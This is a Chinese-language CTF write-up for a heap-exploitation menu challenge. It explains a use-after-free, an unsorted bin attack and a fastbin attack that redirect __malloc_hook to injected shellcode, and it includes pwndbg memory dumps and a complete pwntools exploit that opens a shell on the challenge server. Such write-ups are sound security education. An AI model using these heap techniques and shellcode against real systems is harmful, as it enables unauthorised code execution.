[*] '/home/supergate/Desktop/Pwn/timu'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
发现没有开启NX保护,因此大概能猜到需要我们写入shellcode并执行。
IDA打开后发现是一个典型的菜单类题目,漏洞也很简单:
UAF
double free
首先我们想到的是泄露libc地址,然后劫持free函数为system之后getshell,但是程序中并没有给出输出信息的功能,因此无法泄露地址信息。
这是C语言提供的一个用来包装malloc的,类似还有free_hook。
即,如果把malloc_hook改成func函数的地址,再执行malloc函数就会执行func函数。
这是本题的关键,可以允许我们在没有泄露地址的情况下,将我们输入的shellcode地址写入malloc_hook,然后执行malloc即可getshell。
原理可参考ctf-all-in-one
中的相关知识点,这里只给出如何应用。
首先创建chunk0(大小要保证free后能够放进unsorted bin),然后再创建chunk1。
free(chunk0)
操作后,chunk0会被放入unsorted bin中。这个时候chunk0的fd,bk会指向unsorted bin。
如果存在一个漏洞(如堆溢出,UAF等),能够使得我们修改chunk0的bk,那么我们将bk修改为目标地址-2,也就是相当于在目标地址中有一个fake chunk。
然后再次创建一个和chunk0相同大小的chunk,这个时候查看内存,我们就可以发现目标地址已经存入了unsorted bin的地址,即达到了泄露libc地址的效果。在后续的操作中如果能够利用目标地址,也许就能够getshell。
fastbin attack同样会使用到UAF,堆溢出等常见漏洞。
在创建一个chunk之后,将其free掉,如果这个chunk进入了fastbin并且能够修改这个chunk的fd指针的话,将fd指针修改为目标地址-2,然后再malloc两个和之前相同大小的chunk,那么这两个chunk中第一个和前面free掉的这个chunk在同一个位置,第二个chunk即在目标地址。然后我们就可以对该目标地址进行任意操作。
要注意的是fastbin malloc会检查对应地址的size域,所以需要构造一下目标地址-1(即目标地址这一个chunk的size域),才能达到正确的效果。
构造unsortedbin attack,将libc的地址泄露出来:
pwndbg> heap
0x19d8000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x7f4ba9885b78 <main_arena+88>,
bk = 0x7f4ba9885b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x19d8090 {
prev_size = 144,
size = 112,
fd = 0xa61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x19d8100 FASTBIN {
prev_size = 0,
size = 33,
fd = 0xa61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20ee1
}
0x19d8120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可知泄露的值为0x7f4ba9885b78
查看这个值的附近:
pwndbg> x/20xg 0x7f4ba9885b78
0x7f4ba9885b78 <main_arena+88>: 0x00000000019d8120 0x0000000000000000
0x7f4ba9885b88 <main_arena+104>: 0x00000000019d8000 0x00000000019d8000
0x7f4ba9885b98 <main_arena+120>: 0x00007f4ba9885b88 0x00007f4ba9885b88
0x7f4ba9885ba8 <main_arena+136>: 0x00007f4ba9885b98 0x00007f4ba9885b98
0x7f4ba9885bb8 <main_arena+152>: 0x00007f4ba9885ba8 0x00007f4ba9885ba8
0x7f4ba9885bc8 <main_arena+168>: 0x00007f4ba9885bb8 0x00007f4ba9885bb8
0x7f4ba9885bd8 <main_arena+184>: 0x00007f4ba9885bc8 0x00007f4ba9885bc8
0x7f4ba9885be8 <main_arena+200>: 0x00007f4ba9885bd8 0x00007f4ba9885bd8
0x7f4ba9885bf8 <main_arena+216>: 0x00007f4ba9885be8 0x00007f4ba9885be8
0x7f4ba9885c08 <main_arena+232>: 0x00007f4ba9885bf8 0x00007f4ba9885bf8
pwndbg> x/20xg 0x7f4ba9885b00
0x7f4ba9885b00 <__memalign_hook>: 0x00007f4ba9546e20 0x00007f4ba9546a00
0x7f4ba9885b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f4ba9885b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7f4ba9885b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f4ba9885b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f4ba9885b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f4ba9885b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f4ba9885b70 <main_arena+80>: 0x0000000000000000 0x00000000019d8120
0x7f4ba9885b80 <main_arena+96>: 0x0000000000000000 0x00000000019d8000
0x7f4ba9885b90 <main_arena+112>: 0x00000000019d8000 0x00007f4ba9885b88
发现malloc_hook在0x7f4ba9885b10
地址处
所以我们只需将泄露的值低8位改为’\x00’即可。
因此我们需要一个指向.bss指针数组的地址,可以通过fastbin attack做到。
但是要注意的是,我们需要在这上面构造正确的size域,才能绕过fastbin malloc检测。而正好泄露的地址的最高8位0x7f
能够符合条件,因此在前面我们应该预先malloc一个0x60的chunk。
有了这么一个地址之后,我们就可以在.bss段上的相应地方任意写了。
另外的一些更具体的实现参考exp
from pwn import *
context.update(arch='amd64',log_level='debug')
#p=process("./timu")
p=remote('111.198.29.45',57065)
def Create(size, content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.sendline(content)
def Delete(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
def Update(index,size,content):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.sendline(content)
Create(0x80,"a")
Create(0x60,"a") #后面fastbin attack需要用到的0x60大小的chunk
Create(0x10,"a")
Delete(0)
Update(0,0x10,p64(0)+p64(0x601060)) #利用unsortedbin attack
Create(0x80,"a")
Delete(1)
Update(1,0x8,p64(0x60106d)) #这个位置的chunk可以使得size域为0x7f,从而绕过检测
Create(0x60,"a")
Create(0x60,'\x00'*3+p64(0x601070)+p64(0x601040))
#该chunk从0x60106d开始,能输入的数据地址为0x60107d
#因此先填充三个0道道0x601080,这样就可以从第8个chunk的指针地址开始操作
#其中0x601070就是第8个chunk的指针地址指向的内容,0x601040是我们要写入shellcode的地址,也是第9个chunk的指针地址指向的内容
Update(8,1,'\x10') #将低字节改为'\x00',得到malloc_hook地址
Update(6,8,p64(0x601040))#malloc_hook指向shellcode地址
Update(9,0x100,asm(shellcraft.amd64.sh()))#写入shellcode
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline("1")
p.interactive()